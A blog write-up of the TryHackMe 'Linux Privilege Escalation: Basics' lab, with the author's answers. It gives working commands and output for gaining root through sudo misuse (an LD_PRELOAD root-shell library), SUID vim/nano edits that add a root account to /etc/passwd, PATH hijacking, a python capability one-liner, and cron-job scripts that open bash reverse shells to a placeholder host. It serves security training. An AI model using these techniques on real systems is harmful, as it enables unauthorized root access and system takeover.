Skip to main content

Command Palette

Search for a command to run...

Linux Privilege Escalation: Basics (TryHackMe)

Updated
31 min read
Linux Privilege Escalation: Basics
(TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the Privilege Escalation challenge on TryHackMe: Linux Privilege Escalation: Basics

Introduction

In the Linux Privilege Escalation: Enumeration room, you built a foundation in enumeration — learning how to survey a Linux system for misconfigurations, weak permissions, and potential escalation vectors. Now it's time to act on what you found.

This room picks up where the Linux Privilege Escalation: Enumeration room left off. You'll take the same kinds of misconfigurations you learned to spot and actually exploit them to escalate from a low-privileged user to root. Each section focuses on a different vector: abusing sudo permissions, leveraging SUID binaries, hijacking the PATH variable, exploiting writable cron jobs, taking advantage of Linux capabilities, and misconfigured NFS shares.

Note: Each task will have it’s own target machine. Make sure to always spin up the new target machine matching the task.

Prerequisites

Learning Objectives

  • Understand basic Linux privilege escalation vectors

  • Understand the impact of Linux privilege escalation

  • Demonstrate manual exploitation for Linux privilege escalation

Privilege Escalation: Sudo

The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping their regular privilege level throughout the rest of the system. This task will focus on three different sudo abuse techniques.

https://gtfobins.github.io/is a valuable source that provides information on how any program, on which you may have sudo rights, can be abused.

Basic Sudo Escalation

Any user can check their current situation related to root privileges using the sudo -l command. The output looks similar to the following example.

john@sudo-box:~$ sudo -l
Matching Defaults entries for labuser on target:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User labuser may run the following commands on target:
    (ALL) NOPASSWD: /bin/cat

In this case, the user can run /bin/cat as root, meaning they can read any file as root. For example, reading /etc/shadow will show the password hashes of other users, which can then be cracked offline.

Leverage Application Functions

Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.

In this case, you can use a "hack" to leak information by leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files ( -f: specify an alternate ServerConfigFile).

john@sudo-box:~$ apache2 -h
Usage: apache2 [-D name] [-d directory] [-f file]
               [-C "directive"] [-c "directive"]
               [-k start|restart|graceful|graceful-stop|stop]
               [-v] [-V] [-h] [-l] [-L] [-t] [-S] [-X]
Options:
  -D name           : define a name for use in <IfDefine name> directives
  -d directory      : specify an alternate initial ServerRoot
  -f file           : specify an alternate ServerConfigFile
  -C "directive"    : process directive before reading config files
  -c "directive"    : process directive after reading config files
  -e level          : show startup errors of level (see LogLevel)
  -E file           : log startup errors to file
  -v                : show version number
  -V                : show compile settings
  -h                : list available command line options (this page)
  -l                : list compiled in modules

Loading the /etc/shadow file using this option will result in an error message that includes the first line of the /etc/shadow file, but since that is the root line, it will basically give you the root hash, which can be cracked offline. On ubuntu the command is:

sudo apache2 -C "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so" -f /etc/shadow

Leverage LD_PRELOAD

On some systems, you may see the LD_PRELOAD environment option.

john@sudo-box:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD
User john may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim

LD_PRELOAD is a function that allows any program to use shared libraries. This blog post will give you an idea about the capabilities of LD_PRELOAD. If the "env_keep" option is enabled, you can generate a shared library that will be loaded and executed before the program is run. Please note that the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.

The steps of this privilege escalation vector can be summarized as follows:

  1. Check for LD_PRELOAD (with the env_keep option)

  2. Write a simple C code compiled as a shared object (.so extension) file

  3. Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

The C code will simply spawn a root shell and can be written as follows:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h> 
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0); system("/bin/bash");
} 

You can save this code as shell.c and compile it using gcc into a shared object file using the following parameters:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

john@sudo-box:~$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
john@sudo-box:~$ ls
shell.c
john@sudo-box:~$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
john@sudo-box:~$ ls
shell.c  shell.so

You can now use this shared object file when launching any program that your user can run with sudo. In this case, apache2, find, or almost any of the programs you can run with sudo can be used.

You need to run the program by specifying the LD_PRELOAD option, as follows:

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

This will result in a shell spawning with root privileges.

john@sudo-box:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
john@sudo-box:~$ whoami
user
john@sudo-box:~$ sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
root@sudo-box:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@sudo-box:/home/john# whoami
root

The LD_PRELOAD situation is a rare case. More often than not, you will find simpler sudo privilege escalation vectors. The target machine's user has been assigned sudo permissions that allow them to escalate privileges using one of the techniques presented.

Answer the questions below

What is the full path of the program that john can run with sudo?

 sudo -l
Matching Defaults entries for john on sudo-box:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=LD_PRELOAD

User john may run the following commands on sudo-box:
    (ALL) NOPASSWD: /usr/bin/nano
    (ALL) NOPASSWD: /usr/sbin/apache2

What are the contents of /root/flag.txt?

sudo /usr/bin/nano /root/flag.txt

Privilege Escalation: SUID

Many of the Linux privilege controls rely on controlling the interactions between users and files. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.

You will notice these files have an s bit set showing their special permission level. This means that the program will run with the effective UserID of the owner of the binary.

find / -type f -perm -04000 -ls 2>/dev/null will list files that have SUID or SGID bits set.

find / -type f -perm -04000 -ls 2>/dev/null

john@suid-box:~$ find / -type f -perm -04000 -ls 2>/dev/null
809081   40 -rwsr-xr-x   1 root     root        37552 Feb 15  2011 /usr/bin/chsh
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudo
810173   36 -rwsr-xr-x   1 root     root        32808 Feb 15  2011 /usr/bin/newgrp
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudoedit
809080   44 -rwsr-xr-x   1 root     root        43280 Feb 15  2011 /usr/bin/passwd
809078   64 -rwsr-xr-x   1 root     root        60208 Feb 15  2011 /usr/bin/gpasswd
809077   40 -rwsr-xr-x   1 root     root        39856 Feb 15  2011 /usr/bin/chfn
816078   12 -rwsr-sr-x   1 root     staff        9861 May 14  2017 /usr/local/bin/suid-so
816762    8 -rwsr-sr-x   1 root     staff        6883 May 14  2017 /usr/local/bin/suid-env
816764    8 -rwsr-sr-x   1 root     staff        6899 May 14  2017 /usr/local/bin/suid-env2
815723  948 -rwsr-xr-x   1 root     root       963691 May 13  2017 /usr/sbin/exim-4.84-3
832517   12 -rwsr-xr-x   1 root     root         6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
832743  212 -rwsr-xr-x   1 root     root       212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
812623   12 -rwsr-xr-x   1 root     root        10592 Feb 15  2016 /usr/lib/pt_chown
473324   36 -rwsr-xr-x   1 root     root        36640 Oct 14  2010 /bin/ping6
473326  188 -rwsr-xr-x   1 root     root       188328 Apr 15  2010 /bin/nano  (Note: this normally doesn't have SUID)
473323   36 -rwsr-xr-x   1 root     root        34248 Oct 14  2010 /bin/ping
473292   84 -rwsr-xr-x   1 root     root        78616 Jan 25  2011 /bin/mount
473312   36 -rwsr-xr-x   1 root     root        34024 Feb 15  2011 /bin/su
473290   60 -rwsr-xr-x   1 root     root        53648 Jan 25  2011 /bin/umount
465223  100 -rwsr-xr-x   1 root     root        94992 Dec 13  2014 /sbin/mount.nfs

A good practice would be to compare executables on this list with GTFOBins (https://gtfobins.github.io(opens in new tab)). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list https://gtfobins.org/#//^suid\)(opens in new tab). The list above shows that nano has the SUID bit set. Typical of real-life privilege escalation scenarios, you will need to find intermediate steps that will help you leverage whatever minuscule finding we have.

GTFObins SUID binaries

Note: The attached VM has another binary with SUID other than nano. You will have to find it using the techniques presented in this task.

The SUID bit set for the nano text editor allows you to create, edit, and read files using the file owner’s privilege. Nano is owned by root, which you can read and edit files at a higher privilege level than your current user has. At this stage, you have two basic options for privilege escalation: reading the /etc/shadow file or adding our user to /etc/passwd.

Reading the /etc/shadow File

You can see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2>/dev/null command.

nano /etc/shadow will print the contents of the /etc/shadow file. You can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.

Listing showing both passwd and shadow files

The unshadow tool’s usage can be seen below:
unshadow passwd.txt shadow.txt > passwords.txt

unshadow passwd.txt shadow.txt > passwords.txt

john@suid-box:~$ unshadow passwd.txt shadow.txt > passwords.txt
Created directory /home/user/.john

With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit our John the Ripper: The Basics room.

Replacing the root User

The other option would be to add a new user who has root privileges. This would help you circumvent the tedious process of password cracking. Below is an easy way to do it.

You will need the hash value of the password you want the new user to have. This can be done quickly using the openssl tool on Kali Linux.

openssl passwd -1 -salt THM password1

john@suid-box:~$ openssl passwd -1 -salt THM password1
\(1\)THM$WnbwlliCqxFRQepUTCkUT1

You will then add this password with a username to the /etc/passwd file.

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/false
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
user2:\(1\)J/n4dHHj$QXqkhtfrlz1VYMjXbyK820:0:0:root:/root:/bin/bash
hacker:\(1\)THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash

Once your user is added (please note how root:/bin/bash was used to provide a root shell), you will need to switch to this user and hopefully should have root privileges.

Escalation to root

john@suid-box:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
john@suid-box:~$ whoami
john
john@suid-box:~$ su hacker
Password:
root@suid-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@suid-box:~# whoami
root

Next, you will have to exploit a similar vulnerability on the target system.

Answer the questions below

What is the full path of the binary in /usr/bin/ that is vulnerable to a SUID exploitation?

find /usr/bin -type f -perm -4000 2>/dev/null
find /usr/bin -type f -perm -4000 2>/dev/null

/usr/bin/vim.basic
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount

What are the contents of the flag found in /root/?

vim -c ':redir! >//usr/bin/vim.basic | echo "DATA" | redir END | q’

openssl passwd -1 -salt THM password1
/usr/bin/vim.basic /etc/passwd

hacker:\(1\)THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash

john@suid-box:~$ su hacker
Password: password1
root@suid-box:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@suid-box:/home/john# whoami
root
root@suid-box:/home/john# pwd
/home/john
root@suid-box:/home/john# ls /home
john  ubuntu
root@suid-box:/home/john# ls -la /root
total 40
drwx------  5 root root 4096 Apr 28 06:29 .
drwxr-xr-x 22 root root 4096 Jun 12 12:00 ..
-rw-------  1 root root    5 Feb 17 18:58 .bash_history
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root 4096 Oct 22  2024 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
drwx------  2 root root 4096 Oct 22  2024 .ssh
-rw-------  1 root root  705 Mar  5 12:10 .viminfo
-rw-r--r--  1 root root   23 Mar  5 12:09 root_priv_esc_flag.txt
drwxr-xr-x  4 root root 4096 Oct 22  2024 snap
root@suid-box:/home/john# cat /root/root_priv_esc_flag.txt
THM{root-by-SUID-REDACTED}

Privilege Escalation: PATH

If a directory for which your user has write permission is located in PATH, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in directories defined under $PATH. (PATH is the environmental variable we're talking about here and path is the location to a directory).

Typically, the PATH will look like this:

echo $PATH

john@path-box:~\( echo \)PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

If you type “thm” into the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.

  1. What directories are located under $PATH?

  2. Does your current user have write privileges for any of these directories?

  3. Can you modify $PATH?

  4. Is there a script/application you can start that will be affected by this vulnerability?

For demo purposes, refer to the program below:

This script tries to launch a system binary called “thm”, but the example can easily be replicated with any binary. Below, the code is compiled into an executable and given SUID permissions.

cat path_exp.c

root@path-box:~# cat path_exp.c
#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("thm");
}
root@path-box:~# gcc path_exp.c -o program -w
root@path-box:~# chmod u+s program
root@path-box:~# ls -l
total 24
-rwsr-xr-x 1 root  root  16792 Jun 17 07:02 program
-rw-rw-r-- 1 alper alper    76 Jun 17 06:53 path_exp.c

Once executed, “program” will look for an executable named “thm” inside directories listed under PATH. If any writable directory is listed under PATH, you could create a binary named thm under that directory and have your “program” binary run it. As the SUID bit is set, this binary will run with root privileges. A simple search for writable directories can be done using the find / -writable 2>/dev/null command. The output of this command can be cleaned using a simple cut and sort sequence.

find / -type d -writable 2> /dev/null | sort -u

john@path-box:~$ find / -type d -writable 2> /dev/null | sort -u
/run/user/1001/systemd/inaccessible
/run/user/1001/systemd/propagate
/run/user/1001/systemd/propagate/.os-release-stage
/run/user/1001/systemd/units
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/dbus.socket
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/gpg-agent-ssh.socket
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/init.scope
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix

The directory that will be easier to write to is probably /tmp. At this point, because /tmp is not present in PATH, you will need to add it.

As you can see below, the export PATH=/tmp:$PATH command accomplishes this.

export \(PATH=/tmp:\)PATH

john@path-box:~\( echo \)PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
john@path-box:~\( export PATH=/tmp:\)PATH
john@path-box:~\( echo \)PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

At this point, the program binary will also look under the /tmp directory for an executable named “thm”.

Now that the program binary will look for a thm executable in /tmp, our next step is to create a thm binary or a script in this directory that will escalate our privileges.

createthmscript

john@path-box:~$ cd /tmp
john@path-box:~$ echo "/bin/bash" > thm
john@path-box:~$ chmod 777 thm
john@path-box:~$ ls -l thm
-rwxrwxrwx 1 john john 10 Jun 17 14:36 thm

You will have to give execution permission to your copy of /bin/bash. What makes a privilege escalation possible within this context is that the program binary runs with root privileges.

Escalate to root

john@path-box:~$ whoami
john
john@path-box:~$ ./program
root@path-box:~# whoami
root

Next, you will have to exploit a similar scenario.

Answer the questions below

Find a custom SUID binary on the target host, using the techniques you learned before. What is the full path of this binary?

find / -type f -perm -4000 2>/dev/null
/opt/path/mywhoami

Run the strings command on the SUID binary. What binary does it call from path?

strings /opt/path/mywhoami
/lib64/ld-linux-x86-64.so.2
Y,b]yN%
__stack_chk_fail
setgid
setuid
system
__libc_start_main
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.4
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
whoami
9*3$"
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
mywhoami.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
__stack_chk_fail@GLIBC_2.4
system@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

Exploit this behavior as you've seen in the example scenario, to hijack the PATH and gain root privileges. What are the contents of /root/flag.txt?

# 1. Check current PATH
echo $PATH

# 2. Add /tmp to the front of PATH so it's searched first
export PATH=/tmp:$PATH

# 3. Verify /tmp is now at the front
echo $PATH

# 4. Create a fake "whoami" in /tmp that spawns a shell
echo "/bin/bash" > /tmp/whoami
chmod 777 /tmp/whoami

# 5. Run the SUID binary — it calls "whoami", finds your fake one in /tmp first, runs it as root
/opt/path/mywhoami

# 6. Confirm you're root
id
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
john@path-box:~\( export PATH=/tmp:\)PATH
john@path-box:~$ cd /tmp
john@path-box:/tmp$ echo "/bin/bash" > /tmp/whoami
john@path-box:/tmp$ chmod 777 /tmp/whoami
john@path-box:/tmp$ /opt/path/mywhoami
root@path-box:/tmp# whoami
root@path-box:/tmp# cat /root/flag.txt
THM{PATH-and-SUID-REDACTED}

Privilege Escalation: Capabilities

Another method system administrators can use to elevate the privilege level of a process or binary is “capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher-privileged user. The capabilities man page provides detailed information on its usage and options.

You can use the getcap tool to list enabled capabilities.

john@capabilities-box:~$ getcap -r / 2>/dev/null
/home/john/vim = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

The cap_setuid+ep capability allows a binary to change its user ID to any user (including root) with the capability immediately active when executed.

When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.

Please note that neither Vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.

john@capabilities-box:~$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Jun 16 00:43 /usr/bin/vim → /etc/alternatives/vim
john@capabilities-box:~$ ls -l /home/john/vim
-rwxr-xr-x 1 root root 2906824 Jun 16 02:06 /home/john/vim

GTFObins has a good list of binaries that can be leveraged for privilege escalation if you find any set capabilities.

Notice that Vim can be used with the following command and payload:

john@capabilities-box:~$ whoami
john
john@capabilities-box:~$ ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

The command above uses Vim to run Python code. First, the os library is imported. Then, setuid is used to set the user ID to 0(root); without this, the next command would be run with the original user ID. Finally, /bin/bash is called with root privileges.

root@capabilities-box:~# id
uid=0(root) gid=1000(john) groups=1000(john),4(adm),4(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

Next, you will have to exploit a similar vulnerability on the target system.

Answer the questions below

How many binaries have set capabilities?

getcap -r / 2>/dev/null

/snap/core20/2379/usr/bin/ping cap_net_raw=ep
/snap/core22/1621/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/python3.12 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

What is the full path of the binary that can be used to gain root through its capabilities? /usr/bin/python3.12

What are the contents of /root/flag.txt?

john@capabilities-box:~$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Jun 16 00:43 /usr/bin/vim → /etc/alternatives/vim
john@capabilities-box:~$ ls -l /home/john/vim
-rwxr-xr-x 1 root root 2906824 Jun 16 02:06 /home/john/vim
/usr/bin/python3.12 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'
root@capabilities-box:~# cat /root/flag.txt
THM{caps_getting_REDACTED}

Privilege Escalation: Cron Jobs

Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privileges of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.
If there is a scheduled task that runs with root privileges and you can change the script that will be run, then your script will run with root privileges.

Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.

Each user on the system has their crontab file and can run specific tasks whether they are logged in or not. As you can expect, the goal will be to find a cron job set by root and have it run our script, ideally a shell.

Any user can read the file keeping system-wide cron jobs under /etc/crontab.

While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly, or monthly in penetration test engagements.

Info: The entries on the target machine will be different than the ones used in these examples.

john@cron-box:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /home/john/Desktop/backup.sh

You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.

john@cron-box:~$ ls -la backup.sh
-rwxrwxrwx 1 root root 142 Apr 28 14:23 backup.sh

As the current user can access this script, you can modify it to create a reverse shell with root privileges.

The script will use the tools available on the target system to launch a reverse shell. Two points to note:

The command syntax will vary depending on the available tools. (e.g., nc will probably not support the -e option you may have seen used in other cases) You should always prefer to start reverse shells, as you don't want to compromise the system integrity during a real penetration testing engagement. The file should look like this:

john@cron-box:~$ cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/CONNECTION_IP/6666 0>&1

You then run a listener on your attacking machine to receive the incoming connection.

root@CONNECTION_IP:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [CONNECTION_IP] from (UNKNOWN) [MACHINE_IP] 43550
bash: cannot set terminal process group (4483): Inappropriate ioctl for device
bash: no job control in this shell
root@targetsystem:~# id
id
uid=0(root) gid=0(root) groups=0(root)

Crontab is always worth checking, as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level.

System administrators need to run a script at regular intervals. They create a cron job to do this. After a while, the script becomes useless, and they delete it but forget to clean the relevant cron job.

john@cron-box:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root antivirus.sh
john@cron-box:~$ locate antivirus.sh
john@cron-box:~$

The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists. If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, you should be able to create a script named antivirus.sh under a writable directory listed in the PATH variable, and it should be run by the cron job. The file on the target system should look similar to the previous one.

john@cron-box:~$ cat antivirus.sh
#!/bin/bash
bash -i >& /dev/tcp/CONNECTION_IP/7777 0>&1

The incoming reverse shell connection has root privileges:

root@CONNECTION_IP:~# nc -nlvp 7777
listening on [any] 6666 ...
connect to [CONNECTION_IP] from (UNKNOWN) [MACHINE_IP] 59838
bash: cannot set terminal process group (7275): Inappropriate ioctl for device
bash: no job control in this shell
id
uid=0(root) gid=0(root) groups=0(root)

Another way of exploiting this is simply changing the root password by adding the following line to the vulnerable script.

echo "root:newpass" | chpasswd

Then you can simply log in as root after the job is run by calling su and supplying your new password.

If you ever find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.

While a lot of the time you will find cron jobs in /etc/crontab, this is not the only place where they can be defined. The other locations are:

  • /etc/cron.d/— a directory for drop-in crontab fragments, typically used by packages. Same format as /etc/crontab (includes the user field).

  • /etc/cron.hourly/ — scripts here are run once per hour.

  • /etc/cron.daily/ — scripts here are run once per day.

  • /etc/cron.weekly/ — scripts here are run once per week.

  • /etc/cron.monthly/ — scripts here are run once per month.

Next, you will have to exploit a similar vulnerability on the target system.

Answer the questions below

What is the full path of the cron job that can be exploited?

cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
